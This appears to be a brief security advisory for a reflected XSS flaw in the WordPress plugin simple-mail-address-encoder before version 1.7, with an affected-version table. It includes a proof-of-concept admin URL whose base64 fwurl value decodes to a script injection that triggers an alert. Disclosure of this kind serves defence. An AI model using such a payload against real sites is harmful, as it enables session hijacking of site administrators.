Reflected XSS in the base64 encoded fwurl parameter when the plugin has been used for 30 days and shows a donation notice
https:///wp-admin/options-general.php?page=smae&smaeaction;=remind&fwurl;=Iyc7YWxlcnQoL1hTUy8pOy8v
CPE | Name | Operator | Version |
---|---|---|---|
simple-mail-address-encoder | lt | 1.7 |